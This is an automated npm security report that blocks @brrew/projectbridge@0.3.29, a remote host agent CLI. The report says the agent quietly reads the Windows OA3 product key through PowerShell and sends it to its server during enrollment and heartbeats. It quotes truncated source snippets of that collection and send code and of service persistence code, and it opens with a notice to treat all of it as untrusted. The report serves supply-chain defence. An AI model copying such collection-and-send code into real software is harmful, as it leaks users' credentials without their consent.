---
canonical: "https://firewall.lpm.dev/npm/@brrew/projectbridge"
markdown: "https://firewall.lpm.dev/npm/@brrew/projectbridge/report.md"
package: "@brrew/projectbridge"
report_status: "published"
title: "@brrew/projectbridge@0.3.29 npm security report"
verdict: "malicious"
version: "0.3.29"
---

# @brrew/projectbridge@0.3.29 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — A Windows activation key is disclosed to the configured server without a specific user prompt or evident need for the agent's enrollment and host-monitoring purpose.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Credential Exfiltration
- **Selected version:** 0.3.29
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The agent automatically collects the Windows OA3 product key and sends it to its configured server during enrollment and recurring heartbeats. This is an unrelated credential disclosure, so the package is malicious.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 98.0%
- **Started:** 2026-10-31T05:56:17.156Z
- **Finished:** 2026-10-31T05:56:42.383Z
- **Download time:** 1012 ms
- **Static scan time:** 336 ms
- **AI review time:** 23878 ms
- **Total time:** 25227 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** The Windows host agent collects an embedded Windows product key and transmits it as host metadata to the configured ProjectBridge server.

- **Trigger:** A user runs the remote agent command; collection occurs during enrollment and again during recurring heartbeats.

- **Impact:** A Windows activation key is disclosed to the configured server without a specific user prompt or evident need for the agent's enrollment and host-monitoring purpose.

- **Evidence paths:** bin/projectbridge.js

- **Review source:** ai\_review

- **Reviewed:** 2026-10-31T05:56:42.383Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** hostInfo queries SoftwareLicensingService for OA3xOriginalProductKey and sends the resulting metadata to /api/enroll/start and /api/commander/heartbeat.

- **Attack narrative:** When the remote agent is run on Windows, it queries SoftwareLicensingService for the OA3 product key, puts the key in hostInfo, and sends that metadata during enrollment before dashboard approval. Once running, it sends hostInfo again in authenticated heartbeats every 30 seconds. The server is user-configured, but the package provides no apparent purpose or consent disclosure for collecting and transmitting this Windows license key.

- **Rationale:** The agent automatically collects the Windows OA3 product key and sends it to its configured server during enrollment and recurring heartbeats. This is an unrelated credential disclosure, so the package is malicious.

- **Files touched:** Windows SoftwareLicensingService data via Get-CimInstance, ProjectBridge enrollment configuration file

- **Network endpoints:** \<user-configured ProjectBridge server\>/api/enroll/start, \<user-configured ProjectBridge server\>/api/commander/heartbeat

### Review decision

- **Verdict:** Malicious

- **Confidence:** 98.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** On Windows, hostInfo queries SoftwareLicensingService and includes its OA3xOriginalProductKey in reported metadata., Enrollment sends hostInfo to the configured server before dashboard approval; the pairing flow later asks the user to confirm the host., The running agent resends hostInfo in authenticated heartbeat requests every 30 seconds, repeatedly transmitting the Windows product key.

- **Evidence against:** The manifest has no install lifecycle hooks; the CLI main runs only when invoked directly., The server must be explicitly configured or supplied by the user; there is no default server., Remote host control is disabled by default and asks for consent in an interactive terminal.

## Affected versions and remediation

This report applies to @brrew/projectbridge@0.3.29.

- Avoid installing @brrew/projectbridge@0.3.29. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. High: Child Process
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** bin/projectbridge.js
- **Public source:** [View source](<https://unpkg.com/@brrew/projectbridge@0.3.29/bin/projectbridge.js>)

Package source references child process execution.

Public source snippet (untrusted):

```javascript
L6: const path = require('node:path');
L7: const { spawn } = require('node:child_process');
L8: const { setTimeout: sleep } = require('node:timers/promises');
```

### 3. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 4. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 5. Medium: Install Persistence
- **Category:** Source
- **Confidence:** 75.0%
- **Path:** lib/lifecycle.js
- **Public source:** [View source](<https://unpkg.com/@brrew/projectbridge@0.3.29/lib/lifecycle.js>)

Source writes installer persistence such as shell profile or service configuration.

Public source snippet (untrusted):

```javascript
L4: const path = require('node:path');
L5: const { spawn } = require('node:child_process');
L6: const PACKAGE = '@brrew/projectbridge';
...
L8: const LINUX_SERVICE = 'projectbridge-remote.service';
L9: const SOURCE_DIR = path.resolve(__dirname, '..');
L10: function versionParts(value) { const m = /^(\d+)\.(\d+)\.(\d+)(?:-([0-9A-Za-z.-]+))?$/.exec(String(value || '')); return m ? [Number(m[1]), Number(m[2]), Number(m[3]), m[4] || ''] ...
...
L12: function isWindowsMachineMode() {
L13: return process.platform === 'win32' && (process.env.PROJECTBRIDGE_SYSTEM === '1' || process.argv.includes('--persistent') || ['install-service', 'uninstall-service'].includes(proce...
L14: }
...
L33: // Run npm's JavaScript entry point directly on Windows. Spawning npm.cmd
L34: // through cmd.exe breaks when N
```

### 6. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 7. High: Command Output Exfiltration
- **Category:** Source
- **Confidence:** 82.0%
- **Path:** bin/projectbridge.js
- **Public source:** [View source](<https://unpkg.com/@brrew/projectbridge@0.3.29/bin/projectbridge.js>)

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

Public source snippet (untrusted):

```javascript
L138: const script="$ErrorActionPreference='Stop';$b=Get-CimInstance Win32_BIOS;$c=Get-CimInstance Win32_ComputerSystem;$o=Get-CimInstance Win32_OperatingSystem;$lic=Get-CimInstance Soft...
L139: const r=spawnSync('powershell.exe',['-NoProfile','-NonInteractive','-Command',script],{encoding:'utf8',timeout:3500,windowsHide:true});if(!r.error&&r.status===0){const x=JSON.parse...
L140: }
...
L151: if (credential) headers.Authorization = 'Bearer ' + credential;
L152: const response = await fetch(new URL(route, base), { method: body === undefined ? 'GET' : 'POST', headers,
L153: body: body === undefined ? undefined : JSON.stringify(body), signal: controller.signal, redirect: 'error' });
L154: const text = await response.text();
```

### 8. High: Sandbox Evasion Gated Capability
- **Category:** Source
- **Confidence:** 84.0%
- **Path:** bin/projectbridge.js
- **Public source:** [View source](<https://unpkg.com/@brrew/projectbridge@0.3.29/bin/projectbridge.js>)

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

Public source snippet (untrusted):

```javascript
L6: const path = require('node:path');
L7: const { spawn } = require('node:child_process');
L8: const { setTimeout: sleep } = require('node:timers/promises');
...
L13: 
L14: const VERSION = require('../package.json').version;
L15: const ENV_SERVER = process.env.PROJECTBRIDGE_SERVER ? process.env.PROJECTBRIDGE_SERVER.replace(/\/$/, '') : null;
L16: let installToolConsent = null;
...
L20: function terminalColor(code, value) {
L21: return process.stdout.isTTY && !process.env.NO_COLOR ? '\u001b[' + code + 'm' + value + '\u001b[0m' : value;
L22: }
...
L43: console.log('  ' + ok('ProjectBridge authenticated'));
L44: console.log('  ' + ok('Host: ' + os.hostname()));
```

### 9. High: Trigger Reachable Command Output Exfiltration
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** bin/projectbridge.js
- **Public source:** [View source](<https://unpkg.com/@brrew/projectbridge@0.3.29/bin/projectbridge.js>)

A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable command-output exfiltration chain: manifest.bin -> bin/projectbridge.js
L138: const script="$ErrorActionPreference='Stop';$b=Get-CimInstance Win32_BIOS;$c=Get-CimInstance Win32_ComputerSystem;$o=Get-CimInstance Win32_OperatingSystem;$lic=Get-CimInstance Soft...
L139: const r=spawnSync('powershell.exe',['-NoProfile','-NonInteractive','-Command',script],{encoding:'utf8',timeout:3500,windowsHide:true});if(!r.error&&r.status===0){const x=JSON.parse...
L140: }
...
L151: if (credential) headers.Authorization = 'Bearer ' + credential;
L152: const response = await fetch(new URL(route, base), { method: body === undefined ? 'GET' : 'POST', headers,
L153: body: body === undefined ? undefined : JSON.stringify(body), signal: controller.signal, redirect: 'error' });
L154: const text =
```

### 10. High: Trigger Reachable Persistence
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** lib/lifecycle.js
- **Public source:** [View source](<https://unpkg.com/@brrew/projectbridge@0.3.29/lib/lifecycle.js>)

A manifest entrypoint or package-local install chain reaches persistence behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable persistence chain: manifest.bin -> bin/projectbridge.js -> lib/lifecycle.js
L4: const path = require('node:path');
L5: const { spawn } = require('node:child_process');
L6: const PACKAGE = '@brrew/projectbridge';
...
L8: const LINUX_SERVICE = 'projectbridge-remote.service';
L9: const SOURCE_DIR = path.resolve(__dirname, '..');
L10: function versionParts(value) { const m = /^(\d+)\.(\d+)\.(\d+)(?:-([0-9A-Za-z.-]+))?$/.exec(String(value || '')); return m ? [Number(m[1]), Number(m[2]), Number(m[3]), m[4] || ''] ...
...
L12: function isWindowsMachineMode() {
L13: return process.platform === 'win32' && (process.env.PROJECTBRIDGE_SYSTEM === '1' || process.argv.includes('--persistent') || ['install-service', 'uninstall-service'].includes(proce...
L14: }
...
L33: // Run npm's Java
```

### 11. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 12. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 13. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 75.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 14. Low: No License
- **Category:** Manifest
- **Confidence:** 80.0%

Package manifest does not declare a clear license.

### 15. Critical: Previous Version Dangerous Delta
- **Category:** Supply Chain
- **Confidence:** 93.0%
- **Path:** bin/projectbridge.js
- **Public source:** [View source](<https://unpkg.com/@brrew/projectbridge@0.3.29/bin/projectbridge.js>)

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = previous_version_dangerous_delta
matchedPackage = @brrew/projectbridge@0.3.25
matchedIdentity = npm:QGJycmV3L3Byb2plY3RicmlkZ2U:0.3.25
similarity = 0.500
summary = stored previous version shares package body but lacks this dangerous source file
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** @brrew/projectbridge
- **Ecosystem:** npm
- **Version:** 0.3.29
- **License:** UNLICENSED
- **Version published:** 2026-10-26T06:34:39.746Z
- **Package first seen:** 2026-10-12T07:36:57.384Z
- **Package last seen:** 2026-10-31T05:56:42.383Z
- **Known versions:** 19
- **Latest version:** 0.3.29
- **Appeal under review:** No
- **Description:** ProjectBridge remote host agent CLI
- **Runtime engines:** node: \>=20
- **Artifact files:** 8
- **Artifact unpacked size:** 136,663 bytes
- **Artifact signatures:** 2
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/@brrew/projectbridge>)